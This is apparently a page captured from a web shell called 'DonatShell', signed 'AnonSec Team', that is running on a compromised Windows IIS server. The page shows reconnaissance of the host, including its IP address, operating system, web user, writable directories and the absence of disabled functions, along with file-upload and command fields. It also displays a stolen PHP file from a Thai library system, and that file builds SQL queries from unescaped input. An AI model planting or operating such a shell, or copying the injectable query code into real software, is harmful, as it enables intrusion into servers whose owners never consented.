DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.25
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/umedia3/login.stats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/umedia3/login.stats/inc.local.php
<?
function local_getdspstr($wh,$mode) {
  global $dcrURL;
  global $thaidaystr;
	if ($mode=="libsite") {
		$wh=get_libsite_name($wh);
	}
	if ($mode=="librarian") {
		$wh=get_library_name($wh);
	}
	if ($mode=="librarianlibsite") {
		$pid=tmq("select * from library where UserAdminID='$wh' ",false);
		$pid=tmq_fetch_array($pid);

		$wh="".get_library_name($wh);
		$wh.=" &gt; ".get_libsite_name($pid[libsite]);
	}
	if ($mode=="memberbarcode") {
		$wh=get_member_name($wh);
	}
	if ($mode=="mediamid") {
		$pid=tmq("select * from media_mid where bcode='$wh' ",false);
		$pid=tmq_fetch_array($pid);
		$wh="<a href='$dcrURL/dublin.php?ID=$pid[pid]&item=$wh' target=_blank>".marc_gettitle($pid[pid])."</a>";
	}
	if ($mode=="mediacate") {
		$ssub=tmq("select * from cate_sub where id='$wh' ",false);
		if (tmq_num_rows($ssub)==0) {
			$wh="unknown $wh";
		} else {
			$ssub=tmq_fetch_array($ssub);
			$smain=tmq("select * from cate where id='$ssub[pid]' ",false);
			$smain=tmq_fetch_array($smain);
			$wh= "<B>".getlang($smain[name])." &gt;</B> ".getlang($ssub[name]);
		}
	}
	if ($mode=="mbmajor") {
		$pid=tmq("select * from major where id='$wh' ",false);
		$pid=tmq_fetch_array($pid);
		$wh="".getlang($pid[name])."";
	}	
	if ($mode=="shelvesid") {
		$pid=tmq("select * from media_place where code='$wh' ",false);
		$pid=tmq_fetch_array($pid);
		$wh="".getlang($pid[name])."";
		$pidp=tmq("select * from library_site where code='$pid[main]' ",false);
		$pidp=tmq_fetch_array($pidp);
		$wh=getlang($pidp[name]).", ".getlang($pid[name])."";
	}	
	if ($mode=="fulltexttype") {
		$pid=tmq("select * from media_fttype  where code='$wh' ",false);
		$pid=tmq_fetch_array($pid);
		$wh="".getlang($pid[name])."";
	}	
	if ($mode=="mbroom") {
		$pid=tmq("select * from room where id='$wh' ",false);
		$pid=tmq_fetch_array($pid);
		$wh="".getlang($pid[name])."";
	}		
	if ($mode=="restype") {
		$wh="".get_media_type($wh)."";
	}			
	if ($mode=="formattime") {
		$wh="".($wh).".00-".($wh+1).".00";
	}
	if ($mode=="format_dc") {
		$wh="".($wh)."00";
	}
	if ($mode=="format_lc") {
		$wh="".strtoupper($wh)."";
	}	
	if ($mode=="membertype") {
		$pid=tmq("select * from member_type where type='$wh' ",false);
		$pid=tmq_fetch_array($pid);
		$wh="".getlang($pid[descr])."";
	}		
	
	
	if ($mode=="mediaid") {
		$wh="<a href='$dcrURL/dublin.php?ID=$wh' target=_blank>".marc_gettitle($wh)."</a>";
	}
	if ($mode=="sharemarc_type") {
    $tmpdbtype[mined]=getlang("ผ่าน ULIBM-Catalog::l::trough ULIBM-Catalog");
    $tmpdbtype[clickonrecord]=getlang("คลิกที่รายการโดยตรง::l::Click on Bib.");
    $tmpdbtype[marked]=getlang("เลือกรายการและส่งออก::l::Marked and Export ");
		$wh=$tmpdbtype[$wh];
	}	
	if ($mode=="visithp_type") {
		$tmpdbtype[webpage]=getlang("Home page");
		$wh=$tmpdbtype[$wh];
	}		
	if ($mode=="day") {
		//printr($thaidaystr);
		for ($i=1;$i<=7;$i++) {
			$tmpdbtype[$i]=getlang($thaidaystr[$i]);
		}
		$wh=$tmpdbtype[$wh];
	}		
	
	return $wh;
}
?>

Anon7 - 2022
AnonSec Team